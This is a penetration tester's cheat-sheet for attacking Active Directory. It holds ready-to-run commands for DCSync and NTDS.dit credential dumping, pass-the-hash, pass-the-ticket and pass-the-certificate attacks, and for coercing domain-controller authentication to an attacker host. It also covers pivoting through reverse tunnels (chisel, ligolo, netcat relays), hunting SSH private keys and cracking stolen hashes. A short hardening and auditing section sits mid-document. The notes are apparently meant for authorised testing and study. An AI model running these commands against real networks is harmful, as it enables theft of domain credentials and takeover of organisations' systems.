Source: Docs > 9 - Notes > mimikatz#dcsync

DCSync

Might require runas.

# Specific user
lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\<USER>

# For KRBTGT
lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\krbtgt

# All users
# WARNING: takes a long time... write output to a file!
log dc_sync.txt
lsadump::dcsync /domain:<DOMAIN> /all

Manually via NTDS.dit

netexec essentially does the same thing here but remotely… so this should be a last resort method.

# Copy NTDS.dit
# NOTE: hashes in NTDS are encrypted with DPAPI key in SYSTEM
vssadmin list shadows
vssadmin CREATE SHADOW /For=C:
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy<NUM>\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit

# Download it and impacket-secretsdump
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
# Same as above but easier
netexec smb <TARGET> -u <ADMIN_USER> -p <PASSWORD> -M ntdsutil

Escalating and Pivoting

Pass the Key (PtK) / OverPass the Hash (OtH)

Concept: Request a Kerberos Ticket (TGT) using an NTLM hash or AES Key, rather than using the NTLM protocol directly.

Preparation

# Extract AES Keys
.\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit

Option A: Mimikatz (Process Injection)

# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.
# Can use /ntlm, /aes128, or /aes256
sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe

Option B: Rubeus (Request & Inject)

# Requests a TGT from the KDC and immediately injects it (/ptt)
# Can use /rc4 (NTLM), /aes128, or /aes256
.\Rubeus.exe asktgt /ptt /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY>

Pass the Ticket (PtT)

Windows

Mimikatz

# 1. Export tickets from memory to .kirbi files
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
# $ : machine tickets (computers)
# @ : service tickets (users)

# 2. Inject Ticket
.\mimikatz.exe "kerberos::ptt <TICKET_FILE.kirbi>" "misc::cmd" exit

Rubeus

# Enumerate tickets currently in session
.\Rubeus.exe triage

# Export tickets to base64 (for copy-paste)
.\Rubeus.exe dump /nowrap

# Pass from File
.\Rubeus.exe ptt /ticket:"<TICKET_FILE.kirbi>"

# Pass from Base64 String
.\Rubeus.exe ptt /ticket:"<BASE64_STRING>"

# Convert File to Base64 (PowerShell Helper)
[Convert]::ToBase64String([IO.File]::ReadAllBytes("<TICKET_FILE.kirbi>"))

# Advanced: Extract & Pass John's ticket automatically (Regex One-Liner)
$raw = .\Rubeus.exe dump /user:john /nowrap | Out-String
$ticket = [Regex]::Match($raw, "(?s)Base64EncodedTicket\s*:\s*(.*)").Groups[1].Value.Trim() -replace "\s", ""
.\Rubeus.exe ptt /ticket:$ticket

Linux

klist
# Backup current keytab
cp -v $(echo $KRB5CCNAME | cut -d ':' -f 2) KEYTAB.BAK
# Use current keytab
export KRB5CCNAME=KEYTAB.BAK
# Enumerate AD information
# https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/windows_integration_guide/cmd-realmd
realm list

# Check for AD
grep -i "sss\|winbind\|ldap" /etc/nsswitch.conf
ps -ef | grep -i "winbind\|sssd"
env | grep -i krb5

# Find keytabs
sudo find / \( -iname '*keytab*' -o -iname '*.kt' \) -ls 2>/dev/null

# List cached Kerberos tickets
klist
# Backup current keytab
cp -v $(echo $KRB5CCNAME | cut -d ':' -f 2) current.kt.bak
# Use current keytab
export KRB5CCNAME=$(pwd)/current.kt.bak

# Extract hashes from keytab files
# https://github.com/sosdave/KeyTabExtract
python3 keytabextract.py <KEYTAB_FILE>

# Use keytab
# NOTE: not all cached keytabs are valid
ls -la /tmp/krb5cc*
cp -v <KEYTAB> $HOME/current.kt.bak
export KRB5CCNAME=$HOME/current.kt.bak

# Show keytabs
klist
# Use keytab
kinit -k '<NAME>'

smbclient //<TARGET>/C$ -k -no-pass -c 'ls'

Double Hop Problem

There’s an issue known as the “Double Hop” problem that arises when an attacker attempts to use Kerberos authentication across two (or more) hops. The issue concerns how Kerberos tickets are granted for specific resources. Kerberos tickets should not be viewed as passwords. They are signed pieces of data from the KDC that state what resources an account can access (e.g. a computer but not beyond that computer). When we perform Kerberos authentication, we get a “ticket” that permits us to access the requested resource (i.e., a single machine). On the contrary, when we use a password to authenticate, that NTLM hash is stored in our session and can be used elsewhere without issue.

Enumeration of the Problem

Use these commands to confirm you are in a “Double Hop” / Network Logon state where delegation is failing.

CommandOutput IndicatorMeaning
klistMissing krbtgt/DOMAINYou have no TGT. You cannot request tickets for other servers.
klistPresent HTTP/HostnameYou only have a service ticket for the current box.
mimikatzPassword : (null)LSASS has no cached credentials for your session.
dir \\DC01\C$Access is denied / Anonymous LogonThe target sees you as “Anonymous” because no creds were forwarded.

Mitigation Methods

Method 1: Pass Credential Object (Handout / Native)

Best for “Living off the Land” without uploading tools. Requires knowing the plaintext password.

# 1. Create the Credential Object
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<USER>', $pass)

# 2. Execute command on the 2nd Hop using the Credential
Invoke-Command -ComputerName <MACHINE_NAME> -Credential $cred -ScriptBlock { Get-Process }

# 3. Or enter an interactive session
Enter-PSSession -ComputerName <MACHINE_NAME> -Credential $cred

Method 2: Register PSSession Configuration (Admin)

Requires Admin on the Jump Box. Sets up a permanent endpoint that auto-authenticates.

# 1. Register the Session (On Jump Box)
Register-PSSessionConfiguration -Name "<SESSION_NAME>" -RunAsCredential "<DOMAIN>\<USER>" -Force

# 2. Connect to it (From Attack/Start Box)
Enter-PSSession -ComputerName <MACHINE_NAME> -ConfigurationName "<SESSION_NAME>"

# 3. Verify
klist # You should now see the krbtgt ticket

Method 3: Rubeus / Overpass-the-Hash (Attacker / Modern)

Best if you have a Hash or AES Key. Injects a TGT into your current session, “fixing” the double hop instantly.

# 1. Inject a TGT using the hash (or AES key)
.\Rubeus.exe asktgt /user:<USER> /domain:<DOMAIN> /rc4:<NTLM_HASH> /ptt

# 2. Verify
klist # You now have a krbtgt ticket

# 3. Pivot
ls \\<DC_NAME>\C$ # Works natively now

Method 4: Mimikatz PtH (Legacy / Risky in WinRM)

Mimikatz usually spawns a new window (which fails in WinRM). You must force it to run a command in the same console.

# /run:powershell might hang WinRM depending on the shell stability.
# Use Rubeus (Method 3) if possible.
mimikatz.exe "sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<HASH> /run:powershell" exit

Pass the Certificate (PtC)

Shadow Credentials Attack:

# https://specterops.io/blog/2021/06/17/shadow-credentials-abusing-key-trust-account-mapping-for-account-takeover/
# https://github.com/ShutdownRepo/pywhisker.git
git clone https://github.com/ShutdownRepo/pywhisker.git && cd pywhisker && pip3 install -r requirements.txt && cd pywhisker

# Get Certificate for user
python3 pywhisker.py --dc-ip <DC_IP> -d <DOMAIN> -u <USER> -p '<PASSWORD>' --target <NEW_USER> --action add
# creates .pfx file of <NEW_USER> and PFX password
# Intercept web enrollment requests
# https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py
# NOTE: use https://github.com/ly4k/Certipy to find other templates
python3 -m venv venv
pip install git+https://github.com/fortra/impacket.git
hash -r
venv/bin/ntlmrelayx.py --adcs -smb2support --template KerberosAuthentication -t <WEB_ENROLL_SERVER>
# outputs *.pfx file

# Force arbitrary auth from <TARGET> to <ATTACKER> via printers
# e.g. DC => ATTACKER BOX
# https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py
wget https://github.com/dirkjanm/krbrelayx/raw/refs/heads/master/printerbug.py
python3 printerbug.py <DOMAIN>/<USERNAME>:"<PASSWORD>"@<TARGET> <ATTACKER>

# PtC to get TGT
# https://github.com/dirkjanm/PKINITtools/blob/master/gettgtpkinit.py
git clone https://github.com/dirkjanm/PKINITtools.git ; cd PKINITtools ; python3 -m venv .venv ; source .venv/bin/activate ; pip3 install -r requirements.txt ; pip3 install -I git+https://github.com/wbond/oscrypto.git

# OPTIONAL: -pfx-pass from pywhisker.py
python3 gettgtpkinit.py -cert-pfx <PFX_FILE> -pfx-pass <PFX_PASS> -dc-ip <DC_IP> '<DOMAIN>/<USER>' <OUTPUT_TGT>
# gives <OUTPUT_TGT>

---

# Configure Kerberos
echo '<DC_IP> <DC_FQDN>' | sudo tee -a /etc/hosts
sudo cp -v /etc/krb5.conf /etc/krb5.conf.bak
echo '[libdefaults]
    default_realm = <DOMAIN>
    dns_lookup_kdc = false
[realms]
    <DOMAIN> = {
        kdc = <DC_FQDN>
    }
[domain_realm]
    .<DOMAIN_LOWER> = <DOMAIN_UPPER>
    <DOMAIN_LOWER> = <DOMAIN_UPPER>
' | sudo tee /etc/krb5.conf

export KRB5CCNAME=<OUTPUT_TGT>
klist
# Get NTLM hash of DC Administrator
impacket-secretsdump -k -no-pass -dc-ip <DC_IP> -just-dc-user Administrator '<DOMAIN>/<DC_HOSTNAME>$'@<TARGET_FQDN>
# gives HASH

evil-winrm ... -H <HASH>

Mitigation

Inventory

  • Naming conventions of OUs, computers, users, groups
  • DNS, network, and DHCP configurations
  • An intimate understanding of all GPOs and the objects that they are applied to
  • Assignment of FSMO roles
  • Full and current application inventory
  • A list of all enterprise hosts and their location
  • Any trust relationships we have with other domains or outside entities
  • Users who have elevated permissions

Prevention

Technology

  • Run tools such as 5d, PingCastle, and Grouper periodically to identify AD misconfigurations.
  • Ensure that administrators are not storing passwords in the AD account description field.
  • Review SYSVOL for scripts containing passwords and other sensitive data.
  • Avoid the use of “normal” service accounts, utilizing Group Managed (gMSA) and Managed Service Accounts (MSA) where ever possible to mitigate the risk of Kerberoasting.
  • Disable Unconstrained Delegation wherever possible.
  • Prevent direct access to Domain Controllers through the use of hardened jump hosts.
  • Consider setting the ms-DS-MachineAccountQuota attribute to 0, which disallows users from adding machine accounts and can prevent several attacks such as the noPac attack and Resource-Based Constrained Delegation (RBCD)
  • Disable the print spooler service wherever possible to prevent several attacks
  • Disable NTLM authentication for Domain Controllers if possible
  • Use Extended Protection for Authentication along with enabling Require SSL only to allow HTTPS connections for the Certificate Authority Web Enrollment and Certificate Enrollment Web Service services
  • Enable SMB signing and LDAP signing
  • Take steps to prevent enumeration with tools like BloodHound
  • Ideally, perform quarterly penetration tests/AD security assessments, but if budget constraints exist, these should be performed annually at the very least.
  • Test backups for validity and review/practice disaster recovery plans.
  • Enable the restriction of anonymous access and prevent null session enumeration by setting the RestrictNullSessAccess registry key to 1 to restrict null session access to unauthenticated users.

People

  • The organization should have a strong password policy, with a password filter that disallows the use of common words (i.e., welcome, password, names of months/days/seasons, and the company name). If possible, an enterprise password manager should be used to assist users with choosing and using complex passwords.
  • Rotate passwords periodically for all service accounts.
  • Disallow local administrator access on user workstations unless a specific business need exists.
  • Disable the default RID-500 local admin account and create a new admin account for administration subject to LAPS password rotation.
  • Implement split tiers of administration for administrative users. Too often, during an assessment, you will gain access to Domain Administrator credentials on a computer that an administrator uses for all work activities.
  • Clean up privileged groups. Does the organization need 50+ Domain/Enterprise Admins? Restrict group membership in highly privileged groups to only those users who require this access to perform their day-to-day system administrator duties.
  • Disable Kerberos delegation for administrative accounts (the Protected Users group may not do this)
  • Where appropriate, place accounts in the Protected Users group.
# Viewing the Protected Users Group (ADSI)
$root = [ADSI]"LDAP://RootDSE"
$defaultNC = $root.defaultNamingContext.Value
$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$defaultNC")
$searcher.Filter = "(&(objectCategory=group)(samAccountName=Protected Users))"
$searcher.PropertiesToLoad.Add("name") | Out-Null
$searcher.PropertiesToLoad.Add("description") | Out-Null
$searcher.PropertiesToLoad.Add("member") | Out-Null
$searcher.FindOne() | ForEach-Object { $_.Properties }

Reporting and Auditing

PingCastle

Role: Generates a “Health Check” report based on a maturity model. Bridges the gap between technical findings and C-Level risk scores. OPSEC: Moderate. Generates significant LDAP traffic but looks like admin activity.

# Interactive Mode (Best for first run)
PingCastle.exe

# Healthcheck Report (Non-Interactive)
# Generates an HTML report in the current directory
PingCastle.exe --healthcheck --server <DC_FQDN>

# Scan specific risk areas (Scanner Mode)
# Options: aclcheck, antivirus, localadmin, laps_bitlocker, etc.
PingCastle.exe --scanner aclcheck

Active Directory Explorer (Sysinternals)

Role: Creates (and mounts) snapshots of the AD Database for offline analysis. Attack Vector: If you find .dat snapshot files on shares, you can mount them to browse AD as it was at that time without alerting the DC.

# Create a Snapshot (Requires Creds)
# -snapshot: Create a snapshot
# "" : Prompt for password
ADExplorer.exe -snapshot "" <DC_FQDN> output_filename

# Mount a Snapshot (Offline Analysis)
# Allows you to browse a .dat file found on a share
ADExplorer.exe -snapshot "" <PATH_TO_DAT_FILE>

Group3r

Role: Deep-dive auditing of Group Policy Objects (GPOs). Unlike standard tools that check permissions, this parses the content of GPOs to find hardcoded passwords, local admin deployments, and script definitions.

# Basic Scan (Output to Console)
group3r.exe -s

# Full Scan (Output to File)
# -f: Output file path
group3r.exe -f results.log

ADRecon

Role: Extracts everything from the domain (Users, Computers, GPOs, DNS, LAPS, BitLocker) and compiles it into a massive Excel report. OPSEC: 💀 EXTREMELY LOUD. Do not use during a Red Team engagement unless you have burned the environment or are simulating an “Ignorant Insider.”

# Run Audit (Requires Excel installed for pretty reports, otherwise CSV)
.\ADRecon.ps1

# Run on specific target Domain Controller
.\ADRecon.ps1 -DomainController <DC_IP>

# Generate Excel report from CSVs (Run offline on analyst machine)
.\ADRecon.ps1 -GenExcel <PATH_TO_CSV_FOLDER>

Lateral Movement

Network Info

# Linux
arp -a
cat /etc/hosts
ifconfig
ip a
nmcli dev show
ip r

# Windows
arp -a
type c:\Windows\System32\drivers\etc\hosts
ipconfig /all
netstat -r

Access Domain Names

For a box that is not joined to the domain, but has domain access, add the DC (or DNS server) to resolve DNS names.

Split DNS Resolution (w/ VPN)

# 1. Enable dnsmasq plugin (Global Config)
sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.bak
sudo sed -i '/\[main\]/a dns=dnsmasq' /etc/NetworkManager/NetworkManager.conf

# 2. Create the Domain Rule (Persistent)
# Syntax: server=/domain.com/10.10.10.10
echo "server=/<FQDN>/<DNS_SERVER>" | sudo tee /etc/NetworkManager/dnsmasq.d/split_dns.conf

# 3. Restart NetworkManager to apply the plugin change
sudo systemctl restart NetworkManager

# 4. Configure the VPN Connection
# Replace <CONNECTION_NAME> with your VPN profile name (e.g., 'tun0' or 'lab_vpn')
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.dns ""
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.ignore-auto-dns yes
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.never-default yes

# 5. Reconnect VPN
sudo nmcli connection down "<CONNECTION_NAME>"
sudo nmcli connection up "<CONNECTION_NAME>"

All DNS Resolution (no Internet access)

# Configure the VPN connection to strictly use the Target DNS
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.dns "<DNS_SERVER>"
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.ignore-auto-dns yes

# Reconnect to apply
sudo nmcli connection down "<CONNECTION_NAME>"
sudo nmcli connection up "<CONNECTION_NAME>"

Verify

nslookup <TARGET>

Domain Information

# Get Domain Info
net config workstation
ipconfig /all
echo %USERDOMAIN%
$env:USERDOMAIN
echo %LOGONSERVER%
$env:LOGONSERVER
(Get-WmiObject Win32_ComputerSystem).Domain
(Get-CimInstance Win32_ComputerSystem).Domain   # PowerShell (modern; no WMI)
systeminfo

Tunneling (Port Forwarding)

SSH

Forward

Local (where SSH is ran from) => Remote (Target)

ssh -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> <USER>@<TARGET_2>

ssh -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> \
    -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> \
    <USER>@<TARGET_2>

Reverse

NOTE: this requires GatewayPorts to be yes:

grep 'GatewayPorts' /etc/ssh/sshd_config
ssh -R <REMOTE_IP>:<REMOTE_PORT>:0.0.0.0:<LOCAL_PORT> <USER>@<TARGET> -v

Metasploit

portfwd list

Forward

# ATTACKER => REDIR => TARGET
# NOTE: add "-L 0.0.0.0" to make the local port accessible from other machines next to ATTACKER (like a Windows box)
portfwd add -l <ATTACKER_PORT> -r <TARGET_IP> -p <TARGET_PORT> 

Reverse

# TARGET => REDIR => ATTACKER
portfwd add -R -l <REDIR_PORT> -L <ATTACKER_IP> -p <ATTACKER_PORT>

Redirection

Redirection is simple traffic manipulation on a single host. There are no tunnels.

Netcat

# PORT FORWARD 0.0.0.0:<LISTEN_PORT> => <TARGET>:<FORWARD_PORT>
# NOTE: use normal netcat (w/o "-e" or "-c" options)
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | nc <TARGET> <FORWARD_PORT> 2>&1 | nc -lvnp <LISTEN_PORT> > /tmp/f

Socat

This can be forward or reverse, with the TARGET_* being the ATTACKER or TARGET respectively.

socat TCP4-LISTEN:<LISTEN_PORT>,fork,reuseaddr TCP4:<TARGET_IP>:<TARGET_PORT>

Netsh

netsh.exe interface portproxy add v4tov4 listenaddress=<LISTEN_IP> listenport=<LISTEN_PORT> connectaddress=<REMOTE_IP> connectport=<REMOTE_PORT>

netsh.exe interface portproxy show v4tov4

Dynamic Forwarding

SOCKS

FeatureSOCKS4SOCKS5
Transport ProtocolsTCP onlyTCP & UDP
AddressingIPv4 OnlyIPv4 & IPv6
DNS ResolutionClient-side (vulnerable to leaks)Remote/Proxy-side (via SOCKS5/4a)
AuthenticationNone (Ident-based only)Username/Password, GSS-API
Nmap CompatibilityNative --proxy (very stable)Better via proxychains
SSH (-D) DefaultSupported (manual flag)Default
Chisel DefaultNot standardNative / Built-in
  • Remember that only proper TCP traffic works with SOCKS (e.g. NOT certain scans like nmap -sS sends malformed packets or ICMP ping), use nmap -sT --proxy
proxychains -q -f <CONFIG_FILE> <COMMAND>

proxychains msfconsole

# USE nmap's builtin --proxy option
nmap -sT -Pn -n --proxy socks4://127.0.0.1:9050 <TARGET>
# --unprivileged avoids raw sockets and "bad" packets
nmap -n -Pn -sT -sV --unprivileged --proxy socks4://127.0.0.1:9050 -p21,22,23,53,80,135,139,389,443,445,1433,3389,5985,5986,8080 --stats-every 15s --open -v -oA nmap_subnet_discovery <TARGET_SUBNET>

Step 0: Pre-Requisites

# Edit ProxyChains Config
# NOTE: disable strict_chain to for robustness
ls -la /etc/proxychains*.conf
cat /etc/proxychains4.conf | grep -v '^#' | grep -v '^\s*$'

---

sudo mv -v /etc/proxychains4.conf /etc/proxychains4.conf.BAK

echo "#quiet_mode
proxy_dns
#dynamic_chain
strict_chain
[ProxyList]
socks5  127.0.0.1 1080  # Chisel
socks4  127.0.0.1 9050  # SSH -D proxy or nmap" | sudo tee /etc/proxychains4.conf

Metasploit

# Set global proxy for Metasploit
setg PROXIES socks5:127.0.0.1:1080  # SOCKS5
setg PROXIES HTTP:127.0.0.1:8080  # HTTP

# Clear proxy for current module only
set Proxies ""

# Accept reverse connections directly (don't let it thru the SOCKS proxy)
setg ReverseAllowProxy true

via SSH

# Step 1: create proxy via SSH
ssh -D 9050 <USER>@<TARGET>

Windows SSH client from PuTTY.

plink -ssh -D 9050 <USER>@<TARGET>

cmd.exe /c echo y | plink.exe -ssh -l <USER> -pw <PASS> <TARGET>

via Metasploit

# Step 1: Run MSF SOCKS proxy
use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set version 4a
#set version 5
run -j
jobs

# Step 2a: in MSF
use post/multi/manage/autoroute
set SESSION <SESSION>
set SUBNET <TARGET_SUBNET>
run -j
jobs
route print

# OR Step 2b: in MSF session
run autoroute -s <TARGET_SUBNET>
run autoroute -p

Sshuttle

“Transparent proxy server that works as a poor man’s VPN. Forwards over ssh. Doesn’t require admin… Supports DNS tunneling.”

sudo apt install -y sshuttle
# NOTE: -x excludes the pivot IP to avoid routing issues
sudo sshuttle -r <USER>@<TARGET> --ssh-cmd "ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" -x <PIVOT_IP> -v <TARGET_SUBNET>

Chisel

“Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH”

NOTE: configure [[lateral-movement#Step 0 Pre-Requisites]] and SOCKS5 w/ port 1080

### LINUX
# DYNAMIC
git clone https://github.com/jpillora/chisel.git && cd chisel && go build
# STATIC
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o chisel_static

### WINDOWS
# 64-bit
CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o chisel.exe
# 32-bit
CGO_ENABLED=0 GOOS=windows GOARCH=386 go build -ldflags="-s -w" -o chisel32.exe

### SHRINK (10MB -> 3MB)
upx --lzma chisel*

Forward

# REDIR
./chisel server --socks5 -v -p <LISTEN_PORT>

# ATTACKER
./chisel client -v <CHISEL_SERVER>:<LISTEN_PORT> 1080:socks

Reverse

# ATTACKER
./chisel server --socks5 --reverse -v -p <LISTEN_PORT>

# REDIR
./chisel client -v <CHISEL_SERVER>:<LISTEN_PORT> R:1080:socks

Ligolo-ng

Sets up a new interface and route to move traffic

Build:

git clone https://github.com/nicocha30/ligolo-ng.git && cd ligolo-ng

go build -o agent cmd/agent/main.go
go build -o proxy cmd/proxy/main.go
# Build for Windows
GOOS=windows go build -o agent.exe cmd/agent/main.go
GOOS=windows go build -o proxy.exe cmd/proxy/main.go
# Build for Linux
GOOS=linux go build -o agent cmd/agent/main.go
GOOS=linux go build -o proxy cmd/proxy/main.go
### SHRINK (10MB -> 3MB)
upx --lzma agent* proxy*

ATTACKER: Listener

sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
# listens on :11601 by default
./proxy -selfcert

Target Listen/Bind (Forward) ATTACKER connects to TARGET

# TARGET
./agent.exe -bind 0.0.0.0:<PORT>

# ATTACKER: ligolo session
connect_agent --ip <TARGET>:<PORT>
session
tunnel_start --tun ligolo

Target Connect/Reverse (Reverse) TARGET connects to ATTACKER

# Target
./agent.exe -connect <ATTACKER_IP>:<PORT> -ignore-cert

# ATTACKER: ligolo session
session
tunnel_start --tun ligolo

ATTACKER: Create Route

sudo ip route add <SUBNET_TARGET> dev ligolo

Offline Hash Cracking

Offline attacks = touching the rig. You use local GPU/CPU on captured data. Risks: none (except overheating).


Hash identification

Prefer nth (Name That Hash) over hashid: it outputs the exact Hashcat -m and John format so you can paste and run. Hashcat can also suggest a mode if you run it without -m.

# Name That Hash (recommended)
pipx install name-that-hash
nth -t '<HASH_STRING>'
nth -f <HASH_FILE.txt>
# Hashcat autodetect (no -m; it will suggest or prompt)
echo '<HASH>' > detect.hash
hashcat detect.hash --show
# or
hashcat detect.hash <WORDLIST>

Ambiguity: e.g. 32-char hex can be MD5 or NTLM — context (source) matters. Don’t truncate == or leading $ when copying.


Extraction/Format Conversion

File to Hash

Convert files/artefacts to a hash format that hashcat or John can crack.

# Find all JtR utilities
sudo updatedb && locate '*2john' | grep -v 'pycache'

# Zip (then crack: hashcat -m 17200 for PKZIP, or JtR for zips)
zip2john <ZIP_FILE> > hash_zip.txt

# RAR
rar2john <RAR_FILE> > hash_rar.txt

# Office docs
office2john <OFFICE_FILE> > hash_office.txt

# PDF
pdf2john <PDF_FILE> > hash_pdf.txt

# Bitlocker
bitlocker2john -i <VHD_FILE> > pre_hash_vhd.txt
grep "bitlocker\$0" pre_hash_vhd.txt > hash_crackme_vhd.txt
hashcat -a 0 -m 22100 hash_crackme_vhd.txt <WORDLIST>

# Mount with Bitlocker (after cracking)
sudo apt install -y dislocker
sudo mkdir -p /media/{bitlocker,bitlockermount}
sudo losetup -f -P Backup.vhd
ls -la /dev/loop*
sudo dislocker /dev/<LOOP_DEV> -u<PASSWORD> -- /media/bitlocker
sudo mount -o loop /media/bitlocker/dislocker-file /media/bitlockermount

# SSH: find private keys
grep -rnE '^\-{5}BEGIN [A-Z0-9]+ PRIVATE KEY\-{5}$' /* 2>/dev/null
# Check if key is password protected
ssh-keygen -yf <PRIVKEY>
# Get hash
ssh2john <PRIVKEY> > ssh.hash

# OpenSSL-encrypted archive
while read p; do
    openssl enc -aes-256-cbc -d -in <ENC_FILE> -k "$p" 2>/dev/null | tar xz 2>/dev/null
    if [ $? -eq 0 ]; then
        echo "Success! Password is: $p"
        break
    fi
done < <WORDLIST>

Common Hash Values (Empty Input)

Hash ValueTypeMeaning
d41d8cd98f00b204e9800998ecf8427eMD5Empty String (0 byte input)
da39a3ee5e6b4b0d3255bfef95601890afd80709SHA1Empty String (0 byte input)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855SHA256Empty String (0 byte input)

Wordlist Customization

Mutating Wordlists

cewl: Scrape target site to build a wordlist (e.g. company jargon, names).

# Create wordlist from website (lowercase, spider depth, min word length)
cewl --lowercase -d <SPIDER_DEPTH> -m <MIN_WORD_LENGTH> -w <WORDLIST_FILENAME>

Hashcat rules: Mutate a small keyword list into a large wordlist.

# Manually generate keywords or use cewl via OSINT
cat << EOF > keywords.txt
<KEYWORDS>
EOF

# Rule examples: c (Capitalize first), C (lowercase first, rest upper), t (toggle case)
# $! append ! ; $1$9$9$8 append 1998 ; sa@ replace a with @ ; so0 replace o with 0 ; ss$ replace s with $
cat << EOF > custom.rule
c
C
t                                                                \$!
\$1\$9\$9\$8
\$1\$9\$9\$8\$!
sa@
so0
ss\$
EOF

# Generate permutated wordlist
hashcat --force -r custom.rule keywords.txt --stdout | sort -u > wordlist.txt

# Crack with same rules
hashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txt

CUPP Profiling

Build a targeted wordlist from personal information (name, birthday, pet, company, etc.). Use when you have OSINT on the target and want passwords likely derived from that data.

git clone https://github.com/Mebus/cupp.git
cd cupp
python3 cupp.py -i

Interactive prompts: name, surname, nickname, birthday, partner, pet, company, keywords, etc. Output is a wordlist tailored to the target.


Cracking

Hash Identification

See §0. Hash identification above. Fallback: hashid -jm '<HASH>'.

Hashcat

Rule comparison

Rule FileRule CountUse Case
best64.rule64First run. Fast for easy passwords.
d3ad0ne.rule~34,000Deep crack. Standard “complex” passwords.
dive.rule~100,000+Paranoid. Very slow; last resort.
# Wordlist attack
hashcat -m 1800 hashes.txt <WORDLIST>
hashcat -m 1800 -r /usr/share/hashcat/rules/best64.rule hashes.txt <WORDLIST>

# MD5crypt with salt
hashcat -m 20 <HASH>:<SALT> <WORDLIST>

# Zip (PKZIP); for some zips JtR is easier
hashcat -m 17200 hash_zip.txt <WORDLIST>

Mask attack (-a 3) charsets

SymbolDescriptionCharset
?lLowercasea-z
?uUppercaseA-Z
?dDigits0-9
?hHex lower0-9a-f
?HHex upper0-9A-F
?sSpecialspace and !"#$%&’()*+,-./:;<=>?@[]^_`
?aAll?l?u?d?s
?bBinary0x00–0xff
hashcat -a 3 -m <HASH_ID> <HASH> '?u?l?l?l?l?d?s'

John the Ripper

john --list=formats

# Wordlist (specify format when possible)
john --format=<FORMAT> --wordlist=<WORDLIST> <HASH_FILE>

# Single crack: permutations from username (e.g. unshadowed passwd)
unshadow passwd.txt shadow.txt > unshadowed.txt
john --single <UNSHADOW_FILE>

# Incremental (Markov-style)
john --incremental <HASH_FILE>